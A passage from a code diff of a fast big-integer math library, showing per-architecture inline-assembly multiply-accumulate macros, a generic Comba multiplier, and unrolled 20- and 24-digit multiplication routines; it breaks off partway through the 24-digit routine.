:"=r"(c0), "=r"(c1), "=r"(c2): "0"(c0), "1"(c1), "2"(c2), "g"(i), "g"(j) :"%rax","%rdx","cc");
#elif defined(TFM_SSE2)
/* use SSE2 optimizations */
/* anything you need at the start */
#define COMBA_START
/* clear the chaining variables */
#define COMBA_CLEAR \
c0 = c1 = c2 = 0;
/* forward the carry to the next digit */
#define COMBA_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
/* store the first sum */
#define COMBA_STORE(x) \
x = c0;
/* store the second sum [carry] */
#define COMBA_STORE2(x) \
x = c1;
/* anything you need at the end */
#define COMBA_FINI \
asm("emms");
/* this should multiply i and j */
#define MULADD(i, j) \
asm( \
"movd %6,%%mm0 \n\t" \
"movd %7,%%mm1 \n\t" \
"pmuludq %%mm1,%%mm0\n\t" \
"movd %%mm0,%%eax \n\t" \
"psrlq $32,%%mm0 \n\t" \
"addl %%eax,%0 \n\t" \
"movd %%mm0,%%eax \n\t" \
"adcl %%eax,%1 \n\t" \
"adcl $0,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2): "0"(c0), "1"(c1), "2"(c2), "m"(i), "m"(j) :"%eax","cc");
#elif defined(TFM_ARM)
/* ARM code */
#define COMBA_START
#define COMBA_CLEAR \
c0 = c1 = c2 = 0;
#define COMBA_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define COMBA_FINI
#define MULADD(i, j) \
asm( \
" UMULL r0,r1,%6,%7 \n\t" \
" ADDS %0,%0,r0 \n\t" \
" ADCS %1,%1,r1 \n\t" \
" ADC %2,%2,#0 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2) : "0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j) : "r0", "r1", "cc");
#elif defined(TFM_PPC32)
/* For 32-bit PPC */
#define COMBA_START
#define COMBA_CLEAR \
c0 = c1 = c2 = 0;
#define COMBA_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define COMBA_FINI
/* untested: will mulhwu change the flags? Docs say no */
#define MULADD(i, j) \
asm( \
" mullw 16,%6,%7 \n\t" \
" addc %0,%0,16 \n\t" \
" mulhwu 16,%6,%7 \n\t" \
" adde %1,%1,16 \n\t" \
" addze %2,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j):"16");
#elif defined(TFM_PPC64)
/* For 64-bit PPC */
#define COMBA_START
#define COMBA_CLEAR \
c0 = c1 = c2 = 0;
#define COMBA_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define COMBA_FINI
/* untested: will mulhdu change the flags? Docs say no */
#define MULADD(i, j) \
asm( \
" mulld r16,%6,%7 \n\t" \
" addc %0,%0,16 \n\t" \
" mulhdu r16,%6,%7 \n\t" \
" adde %1,%1,16 \n\t" \
" addze %2,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j):"r16");
#elif defined(TFM_AVR32)
/* ISO C code */
#define COMBA_START
#define COMBA_CLEAR \
c0 = c1 = c2 = 0;
#define COMBA_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define COMBA_FINI
#define MULADD(i, j) \
asm( \
" mulu.d r2,%6,%7 \n\t"\
" add %0,r2 \n\t"\
" adc %1,%1,r3 \n\t"\
" acr %2 \n\t"\
:"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j):"r2","r3");
#elif defined(TFM_MIPS)
#define COMBA_START
#define COMBA_CLEAR \
c0 = c1 = c2 = 0;
#define COMBA_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define COMBA_FINI
#define MULADD(i, j) \
asm( \
" multu %6,%7 \n\t" \
" mflo $12 \n\t" \
" mfhi $13 \n\t" \
" addu %0,%0,$12 \n\t" \
" sltu $12,%0,$12 \n\t" \
" addu %1,%1,$13 \n\t" \
" sltu $13,%1,$13 \n\t" \
" addu %1,%1,$12 \n\t" \
" sltu $12,%1,$12 \n\t" \
" addu %2,%2,$13 \n\t" \
" addu %2,%2,$12 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j):"$12","$13");
#else
/* ISO C code */
#define COMBA_START
#define COMBA_CLEAR \
c0 = c1 = c2 = 0;
#define COMBA_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define COMBA_FINI
#define MULADD(i, j) \
do { fp_word t; \
t = (fp_word)c0 + ((fp_word)i) * ((fp_word)j); \
c0 = t; \
t = (fp_word)c1 + (t >> DIGIT_BIT); \
c1 = t; \
c2 += t >> DIGIT_BIT; \
} while (0);
#endif
#ifndef TFM_DEFINES
/* generic PxQ multiplier */
void fp_mul_comba(fp_int *A, fp_int *B, fp_int *C)
{
int ix, iy, iz, tx, ty, pa;
fp_digit c0, c1, c2, *tmpx, *tmpy;
fp_int tmp, *dst;
COMBA_START;
COMBA_CLEAR;
/* get size of output and trim */
pa = A->used + B->used;
if (pa >= FP_SIZE) {
pa = FP_SIZE-1;
}
if (A == C || B == C) {
fp_zero(&tmp);
dst = &tmp;
} else {
fp_zero(C);
dst = C;
}
for (ix = 0; ix < pa; ix++) {
/* get offsets into the two bignums */
ty = MIN(ix, B->used-1);
tx = ix - ty;
/* setup temp aliases */
tmpx = A->dp + tx;
tmpy = B->dp + ty;
/* this is the number of times the loop will iterrate, essentially its
while (tx++ < a->used && ty-- >= 0) { ... }
*/
iy = MIN(A->used-tx, ty+1);
/* execute loop */
COMBA_FORWARD;
for (iz = 0; iz < iy; ++iz) {
fp_digit _tmpx = *tmpx++;
fp_digit _tmpy = *tmpy--;
MULADD(_tmpx, _tmpy);
}
/* store term */
COMBA_STORE(dst->dp[ix]);
}
COMBA_FINI;
dst->used = pa;
dst->sign = A->sign ^ B->sign;
fp_clamp(dst);
fp_copy(dst, C);
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,180 @@
#define TFM_DEFINES
#include "fp_mul_comba.c"
#if defined(TFM_MUL20) && FP_SIZE >= 40
void fp_mul_comba20(fp_int *A, fp_int *B, fp_int *C)
{
fp_digit c0, c1, c2, at[40];
memcpy(at, A->dp, 20 * sizeof(fp_digit));
memcpy(at+20, B->dp, 20 * sizeof(fp_digit));
COMBA_START;
COMBA_CLEAR;
/* 0 */
MULADD(at[0], at[20]);
COMBA_STORE(C->dp[0]);
/* 1 */
COMBA_FORWARD;
MULADD(at[0], at[21]); MULADD(at[1], at[20]);
COMBA_STORE(C->dp[1]);
/* 2 */
COMBA_FORWARD;
MULADD(at[0], at[22]); MULADD(at[1], at[21]); MULADD(at[2], at[20]);
COMBA_STORE(C->dp[2]);
/* 3 */
COMBA_FORWARD;
MULADD(at[0], at[23]); MULADD(at[1], at[22]); MULADD(at[2], at[21]); MULADD(at[3], at[20]);
COMBA_STORE(C->dp[3]);
/* 4 */
COMBA_FORWARD;
MULADD(at[0], at[24]); MULADD(at[1], at[23]); MULADD(at[2], at[22]); MULADD(at[3], at[21]); MULADD(at[4], at[20]);
COMBA_STORE(C->dp[4]);
/* 5 */
COMBA_FORWARD;
MULADD(at[0], at[25]); MULADD(at[1], at[24]); MULADD(at[2], at[23]); MULADD(at[3], at[22]); MULADD(at[4], at[21]); MULADD(at[5], at[20]);
COMBA_STORE(C->dp[5]);
/* 6 */
COMBA_FORWARD;
MULADD(at[0], at[26]); MULADD(at[1], at[25]); MULADD(at[2], at[24]); MULADD(at[3], at[23]); MULADD(at[4], at[22]); MULADD(at[5], at[21]); MULADD(at[6], at[20]);
COMBA_STORE(C->dp[6]);
/* 7 */
COMBA_FORWARD;
MULADD(at[0], at[27]); MULADD(at[1], at[26]); MULADD(at[2], at[25]); MULADD(at[3], at[24]); MULADD(at[4], at[23]); MULADD(at[5], at[22]); MULADD(at[6], at[21]); MULADD(at[7], at[20]);
COMBA_STORE(C->dp[7]);
/* 8 */
COMBA_FORWARD;
MULADD(at[0], at[28]); MULADD(at[1], at[27]); MULADD(at[2], at[26]); MULADD(at[3], at[25]); MULADD(at[4], at[24]); MULADD(at[5], at[23]); MULADD(at[6], at[22]); MULADD(at[7], at[21]); MULADD(at[8], at[20]);
COMBA_STORE(C->dp[8]);
/* 9 */
COMBA_FORWARD;
MULADD(at[0], at[29]); MULADD(at[1], at[28]); MULADD(at[2], at[27]); MULADD(at[3], at[26]); MULADD(at[4], at[25]); MULADD(at[5], at[24]); MULADD(at[6], at[23]); MULADD(at[7], at[22]); MULADD(at[8], at[21]); MULADD(at[9], at[20]);
COMBA_STORE(C->dp[9]);
/* 10 */
COMBA_FORWARD;
MULADD(at[0], at[30]); MULADD(at[1], at[29]); MULADD(at[2], at[28]); MULADD(at[3], at[27]); MULADD(at[4], at[26]); MULADD(at[5], at[25]); MULADD(at[6], at[24]); MULADD(at[7], at[23]); MULADD(at[8], at[22]); MULADD(at[9], at[21]); MULADD(at[10], at[20]);
COMBA_STORE(C->dp[10]);
/* 11 */
COMBA_FORWARD;
MULADD(at[0], at[31]); MULADD(at[1], at[30]); MULADD(at[2], at[29]); MULADD(at[3], at[28]); MULADD(at[4], at[27]); MULADD(at[5], at[26]); MULADD(at[6], at[25]); MULADD(at[7], at[24]); MULADD(at[8], at[23]); MULADD(at[9], at[22]); MULADD(at[10], at[21]); MULADD(at[11], at[20]);
COMBA_STORE(C->dp[11]);
/* 12 */
COMBA_FORWARD;
MULADD(at[0], at[32]); MULADD(at[1], at[31]); MULADD(at[2], at[30]); MULADD(at[3], at[29]); MULADD(at[4], at[28]); MULADD(at[5], at[27]); MULADD(at[6], at[26]); MULADD(at[7], at[25]); MULADD(at[8], at[24]); MULADD(at[9], at[23]); MULADD(at[10], at[22]); MULADD(at[11], at[21]); MULADD(at[12], at[20]);
COMBA_STORE(C->dp[12]);
/* 13 */
COMBA_FORWARD;
MULADD(at[0], at[33]); MULADD(at[1], at[32]); MULADD(at[2], at[31]); MULADD(at[3], at[30]); MULADD(at[4], at[29]); MULADD(at[5], at[28]); MULADD(at[6], at[27]); MULADD(at[7], at[26]); MULADD(at[8], at[25]); MULADD(at[9], at[24]); MULADD(at[10], at[23]); MULADD(at[11], at[22]); MULADD(at[12], at[21]); MULADD(at[13], at[20]);
COMBA_STORE(C->dp[13]);
/* 14 */
COMBA_FORWARD;
MULADD(at[0], at[34]); MULADD(at[1], at[33]); MULADD(at[2], at[32]); MULADD(at[3], at[31]); MULADD(at[4], at[30]); MULADD(at[5], at[29]); MULADD(at[6], at[28]); MULADD(at[7], at[27]); MULADD(at[8], at[26]); MULADD(at[9], at[25]); MULADD(at[10], at[24]); MULADD(at[11], at[23]); MULADD(at[12], at[22]); MULADD(at[13], at[21]); MULADD(at[14], at[20]);
COMBA_STORE(C->dp[14]);
/* 15 */
COMBA_FORWARD;
MULADD(at[0], at[35]); MULADD(at[1], at[34]); MULADD(at[2], at[33]); MULADD(at[3], at[32]); MULADD(at[4], at[31]); MULADD(at[5], at[30]); MULADD(at[6], at[29]); MULADD(at[7], at[28]); MULADD(at[8], at[27]); MULADD(at[9], at[26]); MULADD(at[10], at[25]); MULADD(at[11], at[24]); MULADD(at[12], at[23]); MULADD(at[13], at[22]); MULADD(at[14], at[21]); MULADD(at[15], at[20]);
COMBA_STORE(C->dp[15]);
/* 16 */
COMBA_FORWARD;
MULADD(at[0], at[36]); MULADD(at[1], at[35]); MULADD(at[2], at[34]); MULADD(at[3], at[33]); MULADD(at[4], at[32]); MULADD(at[5], at[31]); MULADD(at[6], at[30]); MULADD(at[7], at[29]); MULADD(at[8], at[28]); MULADD(at[9], at[27]); MULADD(at[10], at[26]); MULADD(at[11], at[25]); MULADD(at[12], at[24]); MULADD(at[13], at[23]); MULADD(at[14], at[22]); MULADD(at[15], at[21]); MULADD(at[16], at[20]);
COMBA_STORE(C->dp[16]);
/* 17 */
COMBA_FORWARD;
MULADD(at[0], at[37]); MULADD(at[1], at[36]); MULADD(at[2], at[35]); MULADD(at[3], at[34]); MULADD(at[4], at[33]); MULADD(at[5], at[32]); MULADD(at[6], at[31]); MULADD(at[7], at[30]); MULADD(at[8], at[29]); MULADD(at[9], at[28]); MULADD(at[10], at[27]); MULADD(at[11], at[26]); MULADD(at[12], at[25]); MULADD(at[13], at[24]); MULADD(at[14], at[23]); MULADD(at[15], at[22]); MULADD(at[16], at[21]); MULADD(at[17], at[20]);
COMBA_STORE(C->dp[17]);
/* 18 */
COMBA_FORWARD;
MULADD(at[0], at[38]); MULADD(at[1], at[37]); MULADD(at[2], at[36]); MULADD(at[3], at[35]); MULADD(at[4], at[34]); MULADD(at[5], at[33]); MULADD(at[6], at[32]); MULADD(at[7], at[31]); MULADD(at[8], at[30]); MULADD(at[9], at[29]); MULADD(at[10], at[28]); MULADD(at[11], at[27]); MULADD(at[12], at[26]); MULADD(at[13], at[25]); MULADD(at[14], at[24]); MULADD(at[15], at[23]); MULADD(at[16], at[22]); MULADD(at[17], at[21]); MULADD(at[18], at[20]);
COMBA_STORE(C->dp[18]);
/* 19 */
COMBA_FORWARD;
MULADD(at[0], at[39]); MULADD(at[1], at[38]); MULADD(at[2], at[37]); MULADD(at[3], at[36]); MULADD(at[4], at[35]); MULADD(at[5], at[34]); MULADD(at[6], at[33]); MULADD(at[7], at[32]); MULADD(at[8], at[31]); MULADD(at[9], at[30]); MULADD(at[10], at[29]); MULADD(at[11], at[28]); MULADD(at[12], at[27]); MULADD(at[13], at[26]); MULADD(at[14], at[25]); MULADD(at[15], at[24]); MULADD(at[16], at[23]); MULADD(at[17], at[22]); MULADD(at[18], at[21]); MULADD(at[19], at[20]);
COMBA_STORE(C->dp[19]);
/* 20 */
COMBA_FORWARD;
MULADD(at[1], at[39]); MULADD(at[2], at[38]); MULADD(at[3], at[37]); MULADD(at[4], at[36]); MULADD(at[5], at[35]); MULADD(at[6], at[34]); MULADD(at[7], at[33]); MULADD(at[8], at[32]); MULADD(at[9], at[31]); MULADD(at[10], at[30]); MULADD(at[11], at[29]); MULADD(at[12], at[28]); MULADD(at[13], at[27]); MULADD(at[14], at[26]); MULADD(at[15], at[25]); MULADD(at[16], at[24]); MULADD(at[17], at[23]); MULADD(at[18], at[22]); MULADD(at[19], at[21]);
COMBA_STORE(C->dp[20]);
/* 21 */
COMBA_FORWARD;
MULADD(at[2], at[39]); MULADD(at[3], at[38]); MULADD(at[4], at[37]); MULADD(at[5], at[36]); MULADD(at[6], at[35]); MULADD(at[7], at[34]); MULADD(at[8], at[33]); MULADD(at[9], at[32]); MULADD(at[10], at[31]); MULADD(at[11], at[30]); MULADD(at[12], at[29]); MULADD(at[13], at[28]); MULADD(at[14], at[27]); MULADD(at[15], at[26]); MULADD(at[16], at[25]); MULADD(at[17], at[24]); MULADD(at[18], at[23]); MULADD(at[19], at[22]);
COMBA_STORE(C->dp[21]);
/* 22 */
COMBA_FORWARD;
MULADD(at[3], at[39]); MULADD(at[4], at[38]); MULADD(at[5], at[37]); MULADD(at[6], at[36]); MULADD(at[7], at[35]); MULADD(at[8], at[34]); MULADD(at[9], at[33]); MULADD(at[10], at[32]); MULADD(at[11], at[31]); MULADD(at[12], at[30]); MULADD(at[13], at[29]); MULADD(at[14], at[28]); MULADD(at[15], at[27]); MULADD(at[16], at[26]); MULADD(at[17], at[25]); MULADD(at[18], at[24]); MULADD(at[19], at[23]);
COMBA_STORE(C->dp[22]);
/* 23 */
COMBA_FORWARD;
MULADD(at[4], at[39]); MULADD(at[5], at[38]); MULADD(at[6], at[37]); MULADD(at[7], at[36]); MULADD(at[8], at[35]); MULADD(at[9], at[34]); MULADD(at[10], at[33]); MULADD(at[11], at[32]); MULADD(at[12], at[31]); MULADD(at[13], at[30]); MULADD(at[14], at[29]); MULADD(at[15], at[28]); MULADD(at[16], at[27]); MULADD(at[17], at[26]); MULADD(at[18], at[25]); MULADD(at[19], at[24]);
COMBA_STORE(C->dp[23]);
/* 24 */
COMBA_FORWARD;
MULADD(at[5], at[39]); MULADD(at[6], at[38]); MULADD(at[7], at[37]); MULADD(at[8], at[36]); MULADD(at[9], at[35]); MULADD(at[10], at[34]); MULADD(at[11], at[33]); MULADD(at[12], at[32]); MULADD(at[13], at[31]); MULADD(at[14], at[30]); MULADD(at[15], at[29]); MULADD(at[16], at[28]); MULADD(at[17], at[27]); MULADD(at[18], at[26]); MULADD(at[19], at[25]);
COMBA_STORE(C->dp[24]);
/* 25 */
COMBA_FORWARD;
MULADD(at[6], at[39]); MULADD(at[7], at[38]); MULADD(at[8], at[37]); MULADD(at[9], at[36]); MULADD(at[10], at[35]); MULADD(at[11], at[34]); MULADD(at[12], at[33]); MULADD(at[13], at[32]); MULADD(at[14], at[31]); MULADD(at[15], at[30]); MULADD(at[16], at[29]); MULADD(at[17], at[28]); MULADD(at[18], at[27]); MULADD(at[19], at[26]);
COMBA_STORE(C->dp[25]);
/* 26 */
COMBA_FORWARD;
MULADD(at[7], at[39]); MULADD(at[8], at[38]); MULADD(at[9], at[37]); MULADD(at[10], at[36]); MULADD(at[11], at[35]); MULADD(at[12], at[34]); MULADD(at[13], at[33]); MULADD(at[14], at[32]); MULADD(at[15], at[31]); MULADD(at[16], at[30]); MULADD(at[17], at[29]); MULADD(at[18], at[28]); MULADD(at[19], at[27]);
COMBA_STORE(C->dp[26]);
/* 27 */
COMBA_FORWARD;
MULADD(at[8], at[39]); MULADD(at[9], at[38]); MULADD(at[10], at[37]); MULADD(at[11], at[36]); MULADD(at[12], at[35]); MULADD(at[13], at[34]); MULADD(at[14], at[33]); MULADD(at[15], at[32]); MULADD(at[16], at[31]); MULADD(at[17], at[30]); MULADD(at[18], at[29]); MULADD(at[19], at[28]);
COMBA_STORE(C->dp[27]);
/* 28 */
COMBA_FORWARD;
MULADD(at[9], at[39]); MULADD(at[10], at[38]); MULADD(at[11], at[37]); MULADD(at[12], at[36]); MULADD(at[13], at[35]); MULADD(at[14], at[34]); MULADD(at[15], at[33]); MULADD(at[16], at[32]); MULADD(at[17], at[31]); MULADD(at[18], at[30]); MULADD(at[19], at[29]);
COMBA_STORE(C->dp[28]);
/* 29 */
COMBA_FORWARD;
MULADD(at[10], at[39]); MULADD(at[11], at[38]); MULADD(at[12], at[37]); MULADD(at[13], at[36]); MULADD(at[14], at[35]); MULADD(at[15], at[34]); MULADD(at[16], at[33]); MULADD(at[17], at[32]); MULADD(at[18], at[31]); MULADD(at[19], at[30]);
COMBA_STORE(C->dp[29]);
/* 30 */
COMBA_FORWARD;
MULADD(at[11], at[39]); MULADD(at[12], at[38]); MULADD(at[13], at[37]); MULADD(at[14], at[36]); MULADD(at[15], at[35]); MULADD(at[16], at[34]); MULADD(at[17], at[33]); MULADD(at[18], at[32]); MULADD(at[19], at[31]);
COMBA_STORE(C->dp[30]);
/* 31 */
COMBA_FORWARD;
MULADD(at[12], at[39]); MULADD(at[13], at[38]); MULADD(at[14], at[37]); MULADD(at[15], at[36]); MULADD(at[16], at[35]); MULADD(at[17], at[34]); MULADD(at[18], at[33]); MULADD(at[19], at[32]);
COMBA_STORE(C->dp[31]);
/* 32 */
COMBA_FORWARD;
MULADD(at[13], at[39]); MULADD(at[14], at[38]); MULADD(at[15], at[37]); MULADD(at[16], at[36]); MULADD(at[17], at[35]); MULADD(at[18], at[34]); MULADD(at[19], at[33]);
COMBA_STORE(C->dp[32]);
/* 33 */
COMBA_FORWARD;
MULADD(at[14], at[39]); MULADD(at[15], at[38]); MULADD(at[16], at[37]); MULADD(at[17], at[36]); MULADD(at[18], at[35]); MULADD(at[19], at[34]);
COMBA_STORE(C->dp[33]);
/* 34 */
COMBA_FORWARD;
MULADD(at[15], at[39]); MULADD(at[16], at[38]); MULADD(at[17], at[37]); MULADD(at[18], at[36]); MULADD(at[19], at[35]);
COMBA_STORE(C->dp[34]);
/* 35 */
COMBA_FORWARD;
MULADD(at[16], at[39]); MULADD(at[17], at[38]); MULADD(at[18], at[37]); MULADD(at[19], at[36]);
COMBA_STORE(C->dp[35]);
/* 36 */
COMBA_FORWARD;
MULADD(at[17], at[39]); MULADD(at[18], at[38]); MULADD(at[19], at[37]);
COMBA_STORE(C->dp[36]);
/* 37 */
COMBA_FORWARD;
MULADD(at[18], at[39]); MULADD(at[19], at[38]);
COMBA_STORE(C->dp[37]);
/* 38 */
COMBA_FORWARD;
MULADD(at[19], at[39]);
COMBA_STORE(C->dp[38]);
COMBA_STORE2(C->dp[39]);
C->used = 40;
C->sign = A->sign ^ B->sign;
fp_clamp(C);
COMBA_FINI;
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,212 @@
#define TFM_DEFINES
#include "fp_mul_comba.c"
#if defined(TFM_MUL24) && FP_SIZE >= 48
void fp_mul_comba24(fp_int *A, fp_int *B, fp_int *C)
{
fp_digit c0, c1, c2, at[48];
memcpy(at, A->dp, 24 * sizeof(fp_digit));
memcpy(at+24, B->dp, 24 * sizeof(fp_digit));
COMBA_START;
COMBA_CLEAR;
/* 0 */
MULADD(at[0], at[24]);
COMBA_STORE(C->dp[0]);
/* 1 */
COMBA_FORWARD;
MULADD(at[0], at[25]); MULADD(at[1], at[24]);
COMBA_STORE(C->dp[1]);
/* 2 */
COMBA_FORWARD;
MULADD(at[0], at[26]); MULADD(at[1], at[25]); MULADD(at[2], at[24]);
COMBA_STORE(C->dp[2]);
/* 3 */
COMBA_FORWARD;
MULADD(at[0], at[27]); MULADD(at[1], at[26]); MULADD(at[2], at[25]); MULADD(at[3], at[24]);
COMBA_STORE(C->dp[3]);
/* 4 */
COMBA_FORWARD;
MULADD(at[0], at[28]); MULADD(at[1], at[27]); MULADD(at[2], at[26]); MULADD(at[3], at[25]); MULADD(at[4], at[24]);
COMBA_STORE(C->dp[4]);
/* 5 */
COMBA_FORWARD;
MULADD(at[0], at[29]); MULADD(at[1], at[28]); MULADD(at[2], at[27]); MULADD(at[3], at[26]); MULADD(at[4], at[25]); MULADD(at[5], at[24]);
COMBA_STORE(C->dp[5]);
/* 6 */
COMBA_FORWARD;
MULADD(at[0], at[30]); MULADD(at[1], at[29]); MULADD(at[2], at[28]); MULADD(at[3], at[27]); MULADD(at[4], at[26]); MULADD(at[5], at[25]); MULADD(at[6], at[24]);
COMBA_STORE(C->dp[6]);
/* 7 */
COMBA_FORWARD;
MULADD(at[0], at[31]); MULADD(at[1], at[30]); MULADD(at[2], at[29]); MULADD(at[3], at[28]); MULADD(at[4], at[27]); MULADD(at[5], at[26]); MULADD(at[6], at[25]); MULADD(at[7], at[24]);
COMBA_STORE(C->dp[7]);
/* 8 */
COMBA_FORWARD;
MULADD(at[0], at[32]); MULADD(at[1], at[31]); MULADD(at[2], at[30]); MULADD(at[3], at[29]); MULADD(at[4], at[28]); MULADD(at[5], at[27]); MULADD(at[6], at[26]); MULADD(at[7], at[25]); MULADD(at[8], at[24]);
COMBA_STORE(C->dp[8]);
/* 9 */
COMBA_FORWARD;
MULADD(at[0], at[33]); MULADD(at[1], at[32]); MULADD(at[2], at[31]); MULADD(at[3], at[30]); MULADD(at[4], at[29]); MULADD(at[5], at[28]); MULADD(at[6], at[27]); MULADD(at[7], at[26]); MULADD(at[8], at[25]); MULADD(at[9], at[24]);
COMBA_STORE(C->dp[9]);
/* 10 */
COMBA_FORWARD;
MULADD(at[0], at[34]); MULADD(at[1], at[33]); MULADD(at[2], at[32]); MULADD(at[3], at[31]); MULADD(at[4], at[30]); MULADD(at[5], at[29]); MULADD(at[6], at[28]); MULADD(at[7], at[27]); MULADD(at[8], at[26]); MULADD(at[9], at[25]); MULADD(at[10], at[24]);
COMBA_STORE(C->dp[10]);
/* 11 */
COMBA_FORWARD;
MULADD(at[0], at[35]); MULADD(at[1], at[34]); MULADD(at[2], at[33]); MULADD(at[3], at[32]); MULADD(at[4], at[31]); MULADD(at[5], at[30]); MULADD(at[6], at[29]); MULADD(at[7], at[28]); MULADD(at[8], at[27]); MULADD(at[9], at[26]); MULADD(at[10], at[25]); MULADD(at[11], at[24]);
COMBA_STORE(C->dp[11]);
/* 12 */
COMBA_FORWARD;
MULADD(at[0], at[36]); MULADD(at[1], at[35]); MULADD(at[2], at[34]); MULADD(at[3], at[33]); MULADD(at[4], at[32]); MULADD(at[5], at[31]); MULADD(at[6], at[30]); MULADD(at[7], at[29]); MULADD(at[8], at[28]); MULADD(at[9], at[27]); MULADD(at[10], at[26]); MULADD(at[11], at[25]); MULADD(at[12], at[24]);
COMBA_STORE(C->dp[12]);
/* 13 */
COMBA_FORWARD;
MULADD(at[0], at[37]); MULADD(at[1], at[36]); MULADD(at[2], at[35]); MULADD(at[3], at[34]); MULADD(at[4], at[33]); MULADD(at[5], at[32]); MULADD(at[6], at[31]); MULADD(at[7], at[30]); MULADD(at[8], at[29]); MULADD(at[9], at[28]); MULADD(at[10], at[27]); MULADD(at[11], at[26]); MULADD(at[12], at[25]); MULADD(at[13], at[24]);
COMBA_STORE(C->dp[13]);
/* 14 */
COMBA_FORWARD;
MULADD(at[0], at[38]); MULADD(at[1], at[37]); MULADD(at[2], at[36]); MULADD(at[3], at[35]); MULADD(at[4], at[34]); MULADD(at[5], at[33]); MULADD(at[6], at[32]); MULADD(at[7], at[31]); MULADD(at[8], at[30]); MULADD(at[9], at[29]); MULADD(at[10], at[28]); MULADD(at[11], at[27]); MULADD(at[12], at[26]); MULADD(at[13], at[25]); MULADD(at[14], at[24]);
COMBA_STORE(C->dp[14]);
/* 15 */
COMBA_FORWARD;
MULADD(at[0], at[39]); MULADD(at[1], at[38]); MULADD(at[2], at[37]); MULADD(at[3], at[36]); MULADD(at[4], at[35]); MULADD(at[5], at[34]); MULADD(at[6], at[33]); MULADD(at[7], at[32]); MULADD(at[8], at[31]); MULADD(at[9], at[30]); MULADD(at[10], at[29]); MULADD(at[11], at[28]); MULADD(at[12], at[27]); MULADD(at[13], at[26]); MULADD(at[14], at[25]); MULADD(at[15], at[24]);
COMBA_STORE(C->dp[15]);
/* 16 */
COMBA_FORWARD;
MULADD(at[0], at[40]); MULADD(at[1], at[39]); MULADD(at[2], at[38]); MULADD(at[3], at[37]); MULADD(at[4], at[36]); MULADD(at[5], at[35]); MULADD(at[6], at[34]); MULADD(at[7], at[33]); MULADD(at[8], at[32]); MULADD(at[9], at[31]); MULADD(at[10], at[30]); MULADD(at[11], at[29]); MULADD(at[12], at[28]); MULADD(at[13], at[27]); MULADD(at[14], at[26]); MULADD(at[15], at[25]); MULADD(at[16], at[24]);
COMBA_STORE(C->dp[16]);
/* 17 */
COMBA_FORWARD;
MULADD(at[0], at[41]); MULADD(at[1], at[40]); MULADD(at[2], at[39]); MULADD(at[3], at[38]); MULADD(at[4], at[37]); MULADD(at[5], at[36]); MULADD(at[6], at[35]); MULADD(at[7], at[34]); MULADD(at[8], at[33]); MULADD(at[9], at[32]); MULADD(at[10], at[31]); MULADD(at[11], at[30]); MULADD(at[12], at[29]); MULADD(at[13], at[28]); MULADD(at[14], at[27]); MULADD(at[15], at[26]); MULADD(at[16], at[25]); MULADD(at[17], at[24]);
COMBA_STORE(C->dp[17]);
/* 18 */
COMBA_FORWARD;
MULADD(at[0], at[42]); MULADD(at[1], at[41]); MULADD(at[2], at[40]); MULADD(at[3], at[39]); MULADD(at[4], at[38]); MULADD(at[5], at[37]); MULADD(at[6], at[36]); MULADD(at[7], at[35]); MULADD(at[8], at[34]); MULADD(at[9], at[33]); MULADD(at[10], at[32]); MULADD(at[11], at[31]); MULADD(at[12], at[30]); MULADD(at[13], at[29]); MULADD(at[14], at[28]); MULADD(at[15], at[27]); MULADD(at[16], at[26]); MULADD(at[17], at[25]); MULADD(at[18], at[24]);
COMBA_STORE(C->dp[18]);
/* 19 */
COMBA_FORWARD;
MULADD(at[0], at[43]); MULADD(at[1], at[42]); MULADD(at[2], at[41]); MULADD(at[3], at[40]); MULADD(at[4], at[39]); MULADD(at[5], at[38]); MULADD(at[6], at[37]); MULADD(at[7], at[36]); MULADD(at[8], at[35]); MULADD(at[9], at[34]); MULADD(at[10], at[33]); MULADD(at[11], at[32]); MULADD(at[12], at[31]); MULADD(at[13], at[30]); MULADD(at[14], at[29]); MULADD(at[15], at[28]); MULADD(at[16], at[27]); MULADD(at[17], at[26]); MULADD(at[18], at[25]); MULADD(at[19], at[24]);
COMBA_STORE(C->dp[19]);
/* 20 */
COMBA_FORWARD;
MULADD(at[0], at[44]); MULADD(at[1], at[43]); MULADD(at[2], at[42]); MULADD(at[3], at[41]); MULADD(at[4], at[40]); MULADD(at[5], at[39]); MULADD(at[6], at[38]); MULADD(at[7], at[37]); MULADD(at[8], at[36]); MULADD(at[9], at[35]); MULADD(at[10], at[34]); MULADD(at[11], at[33]); MULADD(at[12], at[32]); MULADD(at[13], at[31]); MULADD(at[14], at[30]); MULADD(at[15], at[29]); MULADD(at[16], at[28]); MULADD(at[17], at[27]); MULADD(at[18], at[26]); MULADD(at[19], at[25]); MULADD(at[20], at[24]);
COMBA_STORE(C->dp[20]);
/* 21 */
COMBA_FORWARD;
